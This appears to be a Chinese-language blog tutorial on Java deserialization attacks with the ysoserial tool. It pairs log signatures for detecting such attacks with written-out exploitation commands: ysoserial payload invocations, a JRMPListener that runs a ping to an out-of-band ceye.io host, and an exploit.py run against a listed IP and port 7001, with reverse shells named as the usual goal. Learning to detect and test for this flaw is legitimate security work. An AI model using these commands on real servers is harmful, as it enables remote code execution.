1. Java 反序列化特征

在日志中,特征通常表现为

  • 请求格式 Json、xml、soap、二进制
    • 关键字:rmi、jndi、
  • 响应对应命令执行结果信息

2. Ysoserial 流量特征

在这里插入图片描述

3. Ysoserial 攻击流程

项目地址:https://github.com/frohoff/ysoserial

3.1 找到序列化接口

工具逐个探测

  • 例如 shiro,如果有漏洞,则会返回 rememberMe=deleteMe

  • URLDNS 这个 gadget 一般用于渗透时Java 反序列化漏洞的探测

3.2 漏洞利用

一般会进行反弹 shell 等利用

3.2.1 常用命令

使用 ysoserial,在命令行中输入指定 command ,就会自动执行命令,发起攻击

在使用命令的时候,要先 明确使用哪一个payload

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar [payload] '[command]'

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://xx.xxxxx.ceye.io
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'ping -c 2  rce.267hqw.ceye.io'

在这里插入图片描述

3.2.2 使用案例

在公网 vps 监听端口号

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener  【port】 CommonsCollections1 '【commands】'

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'ping -c 2  rce.267hqw.ceye.io'

在 vps 监听 JRMPListener 的 1099 端口,执行 ping 命令,验证是否执行成功

commands 表示要执行的命令

重启一个 shell 端口

python exploit.py 【目标ip】 【目标端口】 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 【JRMPListener ip】  【JRMPListener port】 JRMPClient

python exploit.py 118.89.53.139  7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 118.89.53.139  1099 JRMPClient

4. Ysoserial 攻击原理

ysoserial 中的 exploit/JRMPClient 是作为攻击方的代码,一般会结合 payloads/JRMPLIstener 使用,攻击流程就是:

先往存在漏洞的服务器发送 payloads/JRMPLIstener,使服务器反序列化该payload后,会开启一个 RMI服务并监听在设置的端口
然后攻击方在自己的服务器使用 exploit/JRMPClient 与存在漏洞的服务器进行通信,并且发送一个可命令执行的payload(假如存在漏洞的服务器中有使用org.apache.commons.collections 包,则可以发送CommonsCollections系列的payload ),从而达到命令执行的结果。

问题

  1. 在攻击的时候,怎么选择 CommonsCollection

    要进行逐一测试,看那条攻击链可行

参考

https://blog.csdn.net/qq_36119192/article/details/107445392?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522166875295216800215084475%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=166875295216800215084475&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2blogfirst_rank_ecpm_v1~rank_v31_ecpm-1-107445392-null-null.nonecase&utm_term=ysoserial&spm=1018.2226.3001.4450

Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐